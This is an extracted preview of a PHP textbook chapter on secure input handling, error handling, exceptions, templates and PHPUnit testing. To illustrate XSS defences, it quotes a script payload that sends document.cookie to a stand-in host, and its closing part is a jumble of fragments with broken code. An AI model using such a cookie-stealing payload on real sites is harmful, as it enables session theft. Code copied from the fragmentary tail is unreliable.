Tài liệu hạn chế xem trước, để xem đầy đủ mời bạn chọn Tải xuống
1
/ 85 trang
THÔNG TIN TÀI LIỆU
Thông tin cơ bản
Định dạng
Số trang
85
Dung lượng
606,91 KB
Nội dung
Chapter 20: Writing High - Quality Code 643 Generally speaking, it ’ s better to use whitelisting, if possible, because it ’ s safer than blacklisting. With blacklisting, it ’ s easy to forget to include a particular malicious character in the blacklist, thereby creating a potential security hole. However, sometimes it ’ s simply not possible or practical to use a whitelist, in which case a blacklist is the best approach. Although regular expressions give you a lot of flexibility with checking input, you can use other techniques to make life easier. For example, HTML::QuickForm (covered in Chapter 15) lets you create and use rules to validate input sent from a Web form. You can also use libraries such as the PEAR Validate package (see http://pear.php.net/package/Validate ) to validate input such as dates, email addresses, URLs, and so on. An alternative to validating input is filtering. With this approach, rather than checking that user input doesn ’ t contain malicious data (and rejecting it if it does), you simply remove any malicious data from the input, and proceed as normal: < ?php $searchQuery = $_GET[‘search’]; $searchQuery = preg_replace( “/[^a-zA-Z0-9]/”, “”, $searchQuery ); echo “You searched for: “ . $searchQuery; // (display search results here) ? > In this example, any characters that aren ’ t letters or digits are removed from the query string before it is used. When the previous malicious query string is supplied, the script produces the following output: You searched for: scriptdocumentlocationhrefhttpwwwexamplecomstolencookiesdocumentcookiescript A variation on filtering is to use casting to ensure that the input is of the required type: $pageStart = (int) $_GET[“pageStart”]; Filtering is often nicer from a user ’ s perspective, because they don ’ t have to deal with error messages or reentering data. However, because data is silently removed by the application, it can also lead to confusion for the user. Encoding Output As well as validating or filtering all input to your script, it ’ s a good idea to encode the script ’ s output. This can help to prevent cross - site scripting attacks, such as the one previously shown. With this approach, you encode, or escape, any potentially unsafe characters using whatever escaping mechanism is available to the output format you ’ re working with. Because you ’ re usually outputting HTML, you can use PHP ’ s htmlspecialchars() function to replace unsafe characters with their encoded equivalents: < ?php $searchQuery = $_GET[‘search’]; echo “You searched for: “ . htmlspecialchars( $searchQuery ); // (display search results here) ? > c20.indd 643c20.indd 643 9/21/09 9:19:43 AM9/21/09 9:19:43 AM 644 Part III: Using PHP in Practice When run with the malicious query string shown earlier, this code outputs the following markup: You searched for: & lt;script & gt;document.location.href=’http://www.example .com?stolencookies=’ + document.cookie & lt;/script & gt; This causes the browser to simply display the malicious JavaScript in the page rather than running it: You searched for: < script > document.location.href=’http://www.example .com?stolencookies=’ + document.cookie < /script > Although it ’ s not possible to plug every security hole by checking input and encoding output, it ’ s a good habit to get into, and will drastically reduce the number of ways that an attacker can exploit your PHP application. Handling Errors Most of the time, your application will run as it was intended to do. However, occasionally something will go wrong, resulting in an error. For example: The user might enter an invalid value in a form field The Web server might run out of disk space A file or database record that the application needs to read may not exist The application might not have permission to write to a file on the disk A service that the application needs to access might be temporarily unavailable These types of errors are known as runtime errors , because they occur at the time the script runs. They are distinct from syntax errors , which are programming errors that need to be fixed before the script will even run. If your application is well written, it should handle the error condition, whatever it may be, in a graceful way. Usually this means informing the user (and possibly the developer) of the problem clearly and precisely. In this section you learn how to use PHP ’ s error handling functions, as well as Exception objects, to deal with error conditions gracefully. Understanding Error Levels Usually, when there ’ s a problem that prevents a script from running properly, the PHP engine triggers an error. Fifteen different error levels (that is, types) are available, and each level is represented by an integer value and an associated constant. Here ’ s a list of error levels: ❑ ❑ ❑ ❑ ❑ c20.indd 644c20.indd 644 9/21/09 9:19:44 AM9/21/09 9:19:44 AM Chapter 20: Writing High - Quality Code 645 Error Level Value Description E_ERROR 1 A fatal runtime error that can ’ t be recovered from. The script stops running immediately E_WARNING 2 A runtime warning (most errors tend to fall into this category). Although the script can continue to run, a situation has occurred that could cause problems down the line (such as dividing by zero or trying to read a nonexistent file) E_PARSE 4 The script couldn ’ t be run because there was a problem parsing it (such as a syntax error) E_NOTICE 8 This could possibly indicate an error, although the situation could also occur during normal running E_CORE_ERROR 16 A fatal error occurred during the PHP engine ’ s startup E_CORE_WARNING 32 A non - fatal error occurred during the PHP engine ’ s startup E_COMPILE_ERROR 64 A fatal error occurred while the script was being compiled E_COMPILE_WARNING 128 A non - fatal error occurred while the script was being compiled E_USER_ERROR 256 Same as E_ERROR , but triggered by the script rather than the PHP engine (see “ Triggering Errors ” ) E_USER_WARNING 512 Same as E_WARNING , but triggered by the script rather than the PHP engine (see “ Triggering Errors ” ) E_USER_NOTICE 1024 Same as E_NOTICE , but triggered by the script rather than the PHP engine (see “ Triggering Errors ” ) E_STRICT 2048 Not strictly an error, but triggered whenever PHP encounters code that could lead to problems or incompatibilities E_RECOVERABLE_ ERROR 4096 Although the error was fatal, it did not leave the PHP engine in an unstable state. If you ’ re using a custom error handler, it may still be able to resolve the problem and continue E_DEPRECATED 8192 A warning about code that will not work in future versions of PHP E_USER_DEPRECATED 16384 Same as E_DEPRECATED , but triggered by the script rather than the PHP engine (see “ Triggering Errors ” ) By default, only fatal errors will cause your script to stop running. However, you can control your script ’ s behavior at different error levels by creating your own error handler (described later in the section “ Letting Your Script Handle Errors ” ). c20.indd 645c20.indd 645 9/21/09 9:19:44 AM9/21/09 9:19:44 AM 646 Part III: Using PHP in Practice Triggering Errors Although the PHP engine triggers an error whenever it encounters a problem with your script, you can also trigger errors yourself. This can help to make your application more robust, because it can flag potential problems before they turn into serious errors. It also means your application can generate more user - friendly error messages. To trigger an error from within your script, call the trigger_error() function, passing in the error message that you want to generate: trigger_error( “Houston, we’ve had a problem.” ); By default, trigger_error() raises an E_USER_NOTICE error, which is the equivalent of E_NOTICE (that is, a relatively minor problem). You can trigger an E_USER_WARNING error instead (a more serious problem), or an E_USER_ERROR error (a fatal error — raising this error stops the script from running): trigger_error( “Houston, we’ve had a bigger problem.”, E_USER_WARNING ); trigger_error( “Houston, we’ve had a huge problem.”, E_USER_ERROR ); Consider the following function to calculate the number of widgets sold per day: < ?php function calcWidgetsPerDay( $totalWidgets, $totalDays ) { return ( $totalWidgets / $totalDays ); } echo calcWidgetsPerDay ( 10, 0 ); ? > If a value of zero is passed as the $totalDays parameter, the PHP engine generates the following error: PHP Warning: Division by zero in myscript.php on line 3 This message isn ’ t very informative. Consider the following version rewritten using trigger_error() : < ?php function calcWidgetsPerDay( $totalWidgets, $totalDays ) { if ( $totalDays == 0 ) { trigger_error( “calcWidgetsPerDay(): The total days cannot be zero”, E_ USER_WARNING ); return false; } else { return ( $totalWidgets / $totalDays ); } } echo calcWidgetsPerDay ( 10, 0 ); ? > Now the script generates this error message: c20.indd 646c20.indd 646 9/21/09 9:19:44 AM9/21/09 9:19:44 AM Chapter 20: Writing High - Quality Code 647 PHP Warning: calcWidgetsPerDay(): The total days cannot be zero in myscript .php on line 4 This makes the cause of the problem much clearer: the calcWidgetsPerDay() function cannot be called with a $totalDays value of zero. The script is now more user - friendly and easier to debug. A more primitive error triggering function is exit() (and its alias, die() ). Calling this function sim- ply halts the script, displaying an error message string (if a string is supplied to the function) or return- ing an error code (if an integer is supplied). Generally speaking, it ’ s better to use trigger_error() , because this gives you more control over how the error is handled. Controlling Where Error Messages Are Sent When an error is raised, the PHP engine usually logs the error message somewhere. You can control exactly where the error message is logged by using a few PHP configuration directives: display_errors : This controls whether error messages are displayed in the browser. Set to On to display errors, or Off to prevent errors from being displayed. Because error messages can contain sensitive information useful to hackers, you should set display_errors to Off on your live Web site log_errors : Controls whether error messages are recorded in an error log. Set to On to log errors in an error log, or Off to disable error logging. (If you set both display_errors and log_errors to Off , there will be no record of an error occurring) error_log : Specifies the full path of the log file to log errors to. The default is usually the system log or the Web server ’ s error log. Pass in the special string “ syslog ” to send error messages to the system logger (on UNIX - type operating systems this usually logs the message in /var/log/syslog or /var/log/system.log ; on Windows the message is logged in the Event Log) If you have access to your Web server ’ s php.ini file, you can set your error logging options there — for example: display_errors = Off Alternatively, you can use ini_set() within an application to set logging options for that application: ini_set( “display_errors”, “Off” ); Logging Your Own Error Messages As well as raising errors with trigger_error() , you can use the error_log() function to log error messages to the system log or a separate log file, or to send error messages via email. ❑ ❑ ❑ c20.indd 647c20.indd 647 9/21/09 9:19:45 AM9/21/09 9:19:45 AM 648 Part III: Using PHP in Practice Unlike trigger_error() , calling error_log() does not cause the error to be handled by the PHP error handler (or your own custom error handler, if you ’ ve created one), nor can it stop the script from running. It merely sends a log message somewhere. If you want to raise an error, use trigger_error() instead of (or as well as) error_log() . error_log() is also useful within custom error handler functions, as you see in a moment. To use error_log() , call it with the error message you want to log: error_log( “Houston, we’ve had a problem.” ); By default, the message is sent to the PHP logger, which usually adds the message to the system log or the Web server ’ s error log (see “ Controlling Where Error Messages Are Sent ” for more details). If you want to specify a different destination for the message, pass an integer as the second parameter. Passing a value of 1 causes the message to be sent via email. Specify the email address to send to as the third parameter. You can optionally specify additional mail headers in a fourth parameter: error_log( “Houston, we’ve had a problem.”, 1, “joe@example.com”, “Cc: bill@ example.com” ); Pass a value of 3 to send the message to a custom log file: error_log( “Houston, we’ve had a problem.\n”, 3, “/home/joe/custom_errors .log” ); Notice that error_log() doesn ’ t automatically add a newline ( \n ) character to the end of the log message, so if you want your messages to appear on separate lines you need to add your own newline. error_log() returns true if the error was successfully logged, or false if the error couldn ’ t be logged. Letting Your Script Handle Errors For greater flexibility, you can create your own error handler function to deal with any errors raised when your script runs (whether raised by the PHP engine or by calling trigger_error() ). Your error handler can then inspect the error and decide what to do: it might log the error in a file or database; display a message to the user; attempt to fix the problem and carry on; clean up various files and database connections and exit; or ignore the error altogether. To tell PHP to use your own error handler function, call set_error_handler() , passing in the name of the function: set_error_handler( “myErrorHandler” ); The following error types cannot be handled by a custom error handler; instead they will always be han- dled by PHP ’ s built - in error handler: E_ERROR , E_PARSE , E_CORE_ERROR , E_CORE_WARNING , E_COMPILE_ERROR , and E_COMPILE_WARNING . In addition, most E_STRICT errors will bypass the custom error handler, if they ’ re raised in the file where set_error_handler() is called. c20.indd 648c20.indd 648 9/21/09 9:19:45 AM9/21/09 9:19:45 AM Chapter 20: Writing High - Quality Code 649 You can optionally exclude certain types of errors from being handled by your function. To do this, pass a mask as the second argument. For example, the following code ensures that the error handler is only called for E_WARNING or E_NOTICE errors (all other error types are handled by PHP ’ s error handler): set_error_handler( “myErrorHandler”, E_WARNING | E_NOTICE ); You learn more about using masks with error levels in the next section, “ Fine - Tuning Error Reporting. ” Your error handler function needs to have at least two parameters, as follows: Parameter Description errno The level of the error, as an integer. This corresponds to the appropriate error level constant ( E_ERROR , E_WARNING , and so on) errstr The error message as a string The PHP engine passes the appropriate values to these parameters when it calls your error handler function. The function can optionally have an additional three parameters: Parameter Description errfile The filename of the script file in which the error was raised, as a string errline The line number on which the error was raised, as a string errcontext An array containing all the variables that existed at the time the error was raised. Useful for debugging Once it has finished dealing with the error, your error handler function should do one of three things: Exit the script, if necessary (for example, if you consider the error to be fatal). You can do this by calling exit() or die() , passing in an optional error message or error code to return Return true (or nothing). If you do this, PHP ’ s error handler is not called and the PHP engine attempts to continue execution from the point after the error was raised Return false . This causes PHP ’ s error handler to attempt to handle the error. This is useful if you don ’ t want your error handler to deal with a particular error. Depending on your error handling settings, this usually causes the error to be logged ❑ ❑ ❑ c20.indd 649c20.indd 649 9/21/09 9:19:45 AM9/21/09 9:19:45 AM 650 Part III: Using PHP in Practice Here ’ s an example of a custom error handler. This handler, paranoidHandler() , halts execution of the script whenever any type of error occurs, no matter how trivial. It also logs details of the error to the log file /home/joe/paranoid_errors.log : < ?php function calcWidgetsPerDay( $totalWidgets, $totalDays ) { if ( $totalDays == 0 ) { trigger_error( “calcWidgetsPerDay(): The total days cannot be zero”, E_ USER_WARNING ); return false; } else { return ( $totalWidgets / $totalDays ); } } function paranoidHandler( $errno, $errstr, $errfile, $errline, $errcontext ) { $levels = array ( E_WARNING = > “Warning”, E_NOTICE = > “Notice”, E_USER_ERROR = > “Error”, E_USER_WARNING = > “Warning”, E_USER_NOTICE = > “Notice”, E_STRICT = > “Strict warning”, E_RECOVERABLE_ERROR = > “Recoverable error”, E_DEPRECATED = > “Deprecated feature”, E_USER_DEPRECATED = > “Deprecated feature” ); $message = date( “Y-m-d H:i:s - “ ); $message .= $levels[$errno] . “: $errstr in $errfile, line $errline\n\n”; $message .= “Variables:\n”; $message .= print_r( $errcontext, true ) . “\n\n”; error_log( $message, 3, “/home/joe/paranoid_errors.log” ); die( “There was a problem, so I’ve stopped running. Please try again.” ); } set_error_handler( “paranoidHandler” ); echo calcWidgetsPerDay ( 10, 0 ); echo “This will never be printed < br / > ”; ? > When run, this script displays the following message in the browser: There was a problem, so I’ve stopped running. Please try again. The file /home/joe/paranoid_errors.log also contains a message similar to the following: c20.indd 650c20.indd 650 9/21/09 9:19:46 AM9/21/09 9:19:46 AM Chapter 20: Writing High - Quality Code 651 2009-03-02 16:46:50 - Warning: calcWidgetsPerDay(): The total days cannot be zero in myscript.php, line 5 Variables: Array ( [totalWidgets] = > 10 [totalDays] = > 0 ) The paranoidHandler() function sets up an array to map the most commonly used error level constants to human - readable names (levels such as E_ERROR and E_PARSE are excluded because these are always handled by the PHP error handler). Then it logs details about the error to the paranoid_ errors.log file, including the error type, error message, the file and line where the error occurred, and the variables in scope at the time of the error. Finally, it calls die() to halt execution and send a generic error message to the browser. (This is why the “ This will never be printed ” message doesn ’ t appear.) Fine - Tuning Error Reporting Usually, the PHP error handler reports (that is, logs) all errors except E_NOTICE errors. You can change this default setting by calling the error_reporting() function, passing in a mask representing the error levels that you want to be logged. For example, to report just E_ERROR errors (and ignore all other errors), use the following: error_reporting( E_ERROR ); To specify multiple error levels, join them together with the | (bitwise Or) operator: error_reporting( E_ERROR | E_WARNING | E_PARSE ); To report all errors, use the special constant E_ALL : error_reporting( E_ALL ); The integer value of E_ALL varies with the version of PHP, as more error levels are added. In PHP 5.3, the value of E_ALL is 30,719. If you want to specify error reporting for all errors except a particular level or levels, XOR the level(s) together with E_ALL : error_reporting( E_ALL ^ E_NOTICE ^ E_USER_NOTICE ); To turn off error reporting for all error types, pass a value of zero (note that fatal errors will still stop the script from running): error_reporting( 0 ); c20.indd 651c20.indd 651 9/21/09 9:19:46 AM9/21/09 9:19:46 AM 652 Part III: Using PHP in Practice Because the error reporting level is stored as a configuration directive called error_reporting , you can also set it in php.ini or with ini_set() , and retrieve its current value with ini_get() : error_reporting( E_ERROR ); echo ini_get( “error_reporting” ); // Displays 1 If you ’ ve specified a custom error handler using set_error_handler() , your handler is still called if there is an error, regardless of the error_reporting setting. It is then up to your error handler to decide whether to log the error. Using Exception Objects to Handle Errors Although functions like trigger_error() and set_error_handler() give you a lot of flexibility with raising and handling errors, they do have limitations. For example, if a piece of code calls a class method and an error occurs in that method, it would be nice if the method could simply tell the calling code about the error, rather than having to raise an error with trigger_error() and go through a central error handler. That way the calling code could take action to correct the problem, making the application more robust. One simple, common way to achieve this is to get a function or method to return a special error value, such as - 1 or false . The calling code can then inspect the return value and, if it equals the error value, it knows there was a problem. However, this can get unwieldy when you start working with deeply nested function or method calls, as the following code shows: class WarpDrive { public function setWarpFactor( $factor ) { if ( $factor > =1 & & $factor < = 9 ) { echo “Warp factor $factor < br / > ”; return true; } else { return false; } } } class ChiefEngineer { public function doWarp( $factor ) { $wd = new WarpDrive; return $wd- > setWarpFactor( $factor ); } } class Captain { public function newWarpOrder( $factor ) { $ce = new ChiefEngineer; return $ce- > doWarp( $factor ); } } $c = new Captain; if ( !$c- > newWarpOrder( 10 ) ) echo “She cannot go any faster! < br / > ”; c20.indd 652c20.indd 652 9/21/09 9:19:47 AM9/21/09 9:19:47 AM [...]... value= ”Reset Form” style=”margin-right: 20px;” /> < ?php include “page_footer .php ?> Now create the thank-you page, thanks .php: < ?php include “page_header .php ?> Thank You Thank you, your application has been received. < ?php include “page_footer .php ?> Save both registration_form .php and thanks .php in your templates folder Now that you’ve created your presentation... as root or an admin user): pear channel-discover pear.phpunit.de You should then see: Adding Channel “pear.phpunit.de” succeeded Discovery of channel “pear.phpunit.de” succeeded Now install PHPUnit as follows (again as root if necessary): pear install alldeps phpunit/PHPUnit Try It Out Write a Simple PHPUnit Test Suite Now that you’ve installed PHPUnit, try writing some simple tests In this example... passed Figure 20-3 How It Works The script starts by displaying an XHTML page header and including two PHPUnit library files: ❑ PHPUnit/Framework .php is the main PHPUnit framework library Including this file loads all of the classes required for creating tests ❑ PHPUnit/TextUI/TestRunner .php provides the PHPUnit_TextUI_TestRunner class, which runs the tests in a test suite and displays the results The... Car Test Suite Example < ?php require_once( “PHPUnit/Framework .php ); require_once( “PHPUnit/TextUI/TestRunner .php ); class Car { public $color; public $manufacturer; public $model; private $_speed = 0; public function accelerate() { if ( $this->_speed >= 100 ) return false; $this->_speed += 10; 667 Part III: Using PHP in Practice return true; } public function brake()... are required. 661 Part III: Using PHP in Practice < ?php } ?> ” method=”post”> >First name * ” /> < ?php echo $results[“pageTitle”] ?> error { background: #d33; color: white; padding: 0.2em; } page_footer .php: Now you can create the templates to display... the Car class created in the car_simulator .php script in Chapter 8 (and reprised in the “Documenting Your Code” section earlier in this chapter) Save the following script as car_tests .php in your document root folder: ... the thank-you page First, the registration form, registration_form .php: < ?php include “page_header .php ?> Membership Form < ?php if ( $results[“missingFields”] ) { ?> There were some problems with the form you submitted Please complete the fields highlighted below and click Send Details to resend the form. < ?php } else { ?> Thanks for choosing to join The Widget Club To... automate unit tests, and this is where PHPUnit comes in 666 Chapter 20: Writing High-Quality Code PHPUnit is a framework for automated unit testing You can use it to write tests in PHP to test each unit of your application, then run the tests automatically and see the results To install PHPUnit, you use the PEAR installer (see Chapter 15 for more on PEAR) Because PHPUnit is not in the standard PEAR channels,... removed from registration .php, while the template pages contain very little PHP — in fact there is just one chunk of decision-making code (the if block near the top of registration_form .php) , a few calls to require() to include the page header and footer files, and a series of echo statements to display the results Generally speaking you should try to limit your template files’ PHP code to echo/print . least 1”, 1, $factor ); c20.indd 658 c20.indd 658 9/ 21/ 09 9: 19: 49 AM9/21/ 09 9: 19: 49 AM Chapter 20: Writing High - Quality Code 6 59 } elseif ( $factor > 9 ) { throw new InputException( “Warp. mind < /p > ”; } catch ( FuelException $e ) { c20.indd 6 59 c20.indd 6 59 9/ 21/ 09 9: 19: 49 AM9/21/ 09 9: 19: 49 AM 660 Part III: Using PHP in Practice echo “ < p > Captain’s log: I’m getting. this usually causes the error to be logged ❑ ❑ ❑ c20.indd 649c20.indd 6 49 9/21/ 09 9: 19: 45 AM9/21/ 09 9: 19: 45 AM 650 Part III: Using PHP in Practice Here ’ s an example of a custom error handler.